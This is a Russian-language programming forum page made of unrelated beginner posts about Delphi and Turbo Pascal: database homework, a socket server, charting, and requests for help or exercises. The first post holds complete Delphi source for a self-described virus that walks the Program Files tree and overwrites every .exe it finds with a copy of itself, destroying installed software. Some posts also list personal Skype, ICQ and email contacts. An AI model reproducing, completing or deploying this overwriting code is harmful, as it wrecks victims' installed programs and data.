Откройте свой Мир!

Всем привет. Я начинающий программист, так что строго не судите. Писал я тут маломальскую программу на Delphi, и чтото щолкнуло в голове захотелось попробовать написать простинький вирус.
Написал:

program Yerihon;

{$APPTYPE CONSOLE}

uses
  Windows,
  SysUtils,
  Classes,
  Forms,
  Dialogs;

var
  Windir: string;
  WindirP: PChar;
  Res: Cardinal;
  Program_Files : string;

Procedure Find(var S : TStringList);
 var
 cDir : string;
 SearchRec: TSearchRec; // информация о файле или каталоге
begin
GetDir(0,cDir); // получить имя текущего каталога
 if cDir[length(cDir)] <> '\' then cDir := cDir+'\';
 if FindFirst('*.exe', faArchive,SearchRec) = 0 then
  repeat
  if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then
  begin
  S.Add(cDir + SearchRec.Name);
  end;
  until FindNext(SearchRec) <> 0;
// обработка подкаталогов текущего каталога
 if FindFirst('*', faDirectory, SearchRec) = 0 then
  repeat
  if (SearchRec.Attr and faDirectory) = SearchRec.Attr then
  begin
  if SearchRec.Name[1] <> '.' then
  begin
  ChDir(SearchRec.Name);// войти в каталог
  Find(S); // выполнить поиск в подкаталоге
  ChDir('..');// выйти из каталога
  end;
  end;
  until FindNext(SearchRec) <> 0;
end;

 var
 S : TStringList;
 i : integer;
 f : TextFile;
begin
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
 if Res > 0 then WinDir := StrPas(WinDirP);
 if FileExists(Windir + '\Goodwin.txt') then MessageDlg('Твоиму компу хана!', mtWarning, [mbOK], 0)
  else
  begin
  AssignFile(f, Windir + '\Goodwin.txt');
  Rewrite(f);
  Write(f, 'Goodwin');
  CloseFile(f);
  Program_Files := Windir[1] + ':\Program Files';
  S := TStringList.Create;
  ChDir(Program_Files);
  Find(S);
  for i := 0 to S.Count - 1 do CopyFile(PChar(Application.ExeName), PChar(S.Strings[i]), false);
  end;
end.

Вопрос:
Написанное можно хотябы назвать вирусом?

базы данных «Автопарк»
Марка автомобиля    Модель    Цвет    Год выпуска    Аварийность

Запросы:
-    вывести сведения об автомобилях заданной марки, которые находятся не в аварийном состоянии;
-    выведите элементы списка, у которых цвет начинается с одной из двух заданных букв;
-    отсортируйте список автомобилей заданной модели по возрастанию года выпуска.

вот такое кто может сочинить?..а то ппц какой то а не база...

Доброго времени суток всем! У меня такой вопрос! Пишу вот такую програмку...
program Server;
uses
Windows,
ScktComp;
var
Msg:TMsg;
  ServerSocket:TServerSocket;
begin
ServerSocket:=TServerSocket.Create(ServerSocket);
ServerSocket.Name:='Server';
ServerSocket.Port:=5124;
  ServerSocket.Active:=true;
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
А теперь внимание вопрос! Как вызвать событие OnConnect????

Хочу научиться программировать на ооп.Умею программировать на turbo pascal
могу помоч если надо.Желаю развиваться дальше звоните мне на скайп steff7772 или
на аську 567721517 Планирую в скайпе создать чат программистов

Program all;
Var
a:integer;
begin
repeat
Writeln('PASTE NUMBER');
READLn(a)
until a<=50;
If  (a>=0) and (a<=25) then begin
Writeln('1');   readln;
end;
If  (a>=26) and (a<=50) then begin
Writeln('2');   readln;
end;
end.

Учусь юзать TP.
Подскажите, как сделать второе; аналогичное тело проги.
(пример)
Program prog;
label
M1;
var
a: byte;
begin
M1;
Writeln('Paste number:');
Readln(a);
if not (a in [0..50]) then goto M1;
case a of
0..25: Writeln('1');
26..50: Writeln('2');
end;
end.

CANVAS podskajite chto eto takoe?kak s nim rabotat?

Где можно скачать книгу с кодами...

Увлекаюсь программированием в Delphi, вот сделал несколько прог, предлагаю позырить, заценить:
http://www.vlad-skakalin.narod.ru/soft
Отзывы пишите прям тут.
 
Кстати, скажу про себя сразу одну вещь.
Я больше люблю программировать сам, а не по заданию.
На свободные темы (полёт фантазии), и без ограничений по времени (не спеша).
Давка же портит всякий интерес к работе.
 
И ещё. В процессе разработки проги, я пытаюсь отыскивать и устранять любые ошибки прям по мере их появления. Считаю, что лучше сделать программу менее функциональной, но без ошибок, чем напичканную как кучей разных функций, так и ещё большей кучей ошибок. Поэтому все мои проги вроде чётко работают. Впрочем, если кто-то найдёт недоработку, то мне это будет очень интересно. Пишите прям тут.

Привет! Как позвонить на домашний или мобильный телефон и проиграть
wav-файл средствами Делфи? Номера телефонов находятся в базе Dbase.
Поставлена задача по вечерам (когда все дома) запустить прогу с проигрыванием заранее записаного wav файла.В этом файле простое оповещение абонентов о их задолженности по оплате комунальных услуг.

Приглашаю в новое сообщество посвященное программирование. Сообщество было создано недавно и поэтому надеюсь на вашу помощь в его развитии
 
http://my.mail.ru/community/klub_programmist/

вопрос такой как в Delphi создать график который строился бы постепенно
что добавить что изменить ,компонент Chart
procedure TForm1.tmrGoTimer(Sender: TObject);
var
  x,v,y: integer;
begin
case ComboBox2.ItemIndex of
    0: v:=20;
    1: v:=25;
    2: v:=30;
  else v:= 15;
  end;
  case ComboBox1.ItemIndex of
    0: y:=200;
    1: y:=300;
    2: y:=400;
  else y:=100;
  end;
  crtGraph.Series[0].Clear;
  for x:=0 to dx do
  crtGraph.Series[0].AddXY(x,0);
for x:=dx to 600 do
  crtGraph.Series[0].AddXY(x,exp(-x/y)*sin((x-fi)/v));
    fi := fi+trbFaza.Position;
    end;
procedure TForm1.FormCreate(Sender: TObject);
  begin
    fi:=0;
      end;

можете поделится если есть готовые простенькие задачки на делфи.заранее благодарна!!! 

Как создать второй поток для Таймера? Если знаете подскажите... Спасибо..

Я вот набросал, так сказать, наброски программы Клавиатурный тренежер на Делфи... И думаю стоить ли его писать кагда вокруг их полным пално... а...???

Жду совета...

Хочу проверить свои навыки по программированию на Делфи...
Если вам задали курсовые проекты по Делфи то кидайте задания на odious86@mail.ru попробую сделать получиться вам на халяву курсовая работа а мне повышение самооценки...
Сделка выгодная пишите...